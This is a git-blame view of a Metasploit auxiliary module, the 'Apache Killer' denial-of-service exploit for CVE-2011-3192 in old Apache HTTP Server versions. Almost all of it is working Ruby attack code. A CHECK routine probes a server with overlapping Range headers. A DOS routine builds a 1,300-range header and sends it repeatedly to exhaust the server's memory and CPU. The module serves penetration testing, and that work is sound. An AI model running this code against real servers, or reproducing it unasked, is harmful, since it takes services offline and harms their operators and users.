Files
metasploit-gs/modules/auxiliary/dos/http/apache_range_dos.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

128 lines
3.6 KiB
Ruby
Raw Normal View History

2011-09-23 16:38:35 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2011-09-23 16:38:35 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
2011-09-23 16:38:35 +00:00
include Msf::Auxiliary::Dos
2013-08-30 16:28:54 -05:00
2011-09-23 16:38:35 +00:00
def initialize(info = {})
super(update_info(info,
2013-11-15 00:03:42 -06:00
'Name' => 'Apache Range Header DoS (Apache Killer)',
2011-09-23 16:38:35 +00:00
'Description' => %q{
The byterange filter in the Apache HTTP Server 2.0.x through 2.0.64, and 2.2.x
through 2.2.19 allows remote attackers to cause a denial of service (memory and
CPU consumption) via a Range header that expresses multiple overlapping ranges,
2011-09-23 16:38:35 +00:00
exploit called "Apache Killer"
},
'Author' =>
[
'Kingcope', #original discoverer
'Masashi Fujiwara', #metasploit module
'Markus Neis <markus.neis[at]gmail.com>' # check for vulnerability
2011-09-23 16:38:35 +00:00
],
'License' => MSF_LICENSE,
'Actions' =>
[
['DOS', 'Description' => 'Trigger Denial of Service against target'],
['CHECK', 'Description' => 'Check if target is vulnerable']
],
2013-04-22 15:47:38 -05:00
'DefaultAction' => 'DOS',
2011-09-23 16:38:35 +00:00
'References' =>
[
[ 'BID', '49303'],
[ 'CVE', '2011-3192'],
2012-10-23 21:02:09 +02:00
[ 'EDB', '17696'],
[ 'OSVDB', '74721' ],
2011-09-23 16:38:35 +00:00
],
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2011-08-19'
))
2013-08-30 16:28:54 -05:00
2011-09-23 16:38:35 +00:00
register_options(
[
Opt::RPORT(80),
OptString.new('URI', [ true, "The request URI", '/']),
OptInt.new('RLIMIT', [ true, "Number of requests to send",50])
])
2011-09-23 16:38:35 +00:00
end
2013-08-30 16:28:54 -05:00
def run_host(ip)
2013-08-30 16:28:54 -05:00
case action.name
when 'DOS'
conduct_dos()
2013-08-30 16:28:54 -05:00
when 'CHECK'
check_for_dos()
2012-12-17 15:46:39 +01:00
end
2013-08-30 16:28:54 -05:00
end
2013-08-30 16:28:54 -05:00
def check_for_dos()
2019-04-03 16:23:58 +02:00
uri = datastore['URI']
rhost = datastore['RHOST']
begin
res = send_request_cgi({
2019-04-03 16:23:58 +02:00
'uri' => uri,
'method' => 'HEAD',
'headers' => {
2019-04-03 16:23:58 +02:00
"HOST" => rhost,
"Range" => "bytes=5-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10",
"Request-Range" => "bytes=5-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10"
}
})
2013-08-30 16:28:54 -05:00
if (res and res.code == 206)
print_status("Response was #{res.code}")
2019-04-25 23:08:19 +02:00
print_status("Found Byte-Range Header DOS at #{uri}")
2013-08-30 16:28:54 -05:00
report_note(
:host => rhost,
:port => rport,
2015-04-14 14:02:20 -05:00
:type => 'apache.killer',
2019-04-25 23:08:19 +02:00
:data => "Apache Byte-Range DOS at #{uri}"
)
2013-08-30 16:28:54 -05:00
else
2019-04-25 23:08:19 +02:00
print_status("#{rhost} doesn't seem to be vulnerable at #{uri}")
end
2013-08-30 16:28:54 -05:00
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
2013-08-30 16:28:54 -05:00
def conduct_dos()
2011-09-23 16:38:35 +00:00
uri = datastore['URI']
2012-12-17 15:46:39 +01:00
rhost = datastore['RHOST']
2011-09-23 16:38:35 +00:00
ranges = ''
for i in (0..1299) do
ranges += ",5-" + i.to_s
end
for x in 1..datastore['RLIMIT']
begin
print_status("Sending DoS packet #{x} to #{rhost}:#{rport}")
2012-12-17 15:46:39 +01:00
res = send_request_cgi({
'uri' => uri,
'method' => 'HEAD',
'headers' => {
2019-04-03 16:23:58 +02:00
"HOST" => rhost,
"Range" => "bytes=0-#{ranges}",
"Request-Range" => "bytes=0-#{ranges}"}},1)
2013-08-30 16:28:54 -05:00
2011-09-23 16:38:35 +00:00
rescue ::Rex::ConnectionRefused
2017-07-19 12:48:52 +01:00
print_error("Unable to connect to #{rhost}:#{rport}")
2011-09-23 16:38:35 +00:00
rescue ::Errno::ECONNRESET
2017-07-19 12:48:52 +01:00
print_good("DoS packet successful. #{rhost} not responding.")
2011-09-23 16:38:35 +00:00
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
2017-07-19 12:48:52 +01:00
print_error("Couldn't connect to #{rhost}:#{rport}")
2011-09-23 16:38:35 +00:00
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
end
2011-10-14 00:52:15 +00:00
end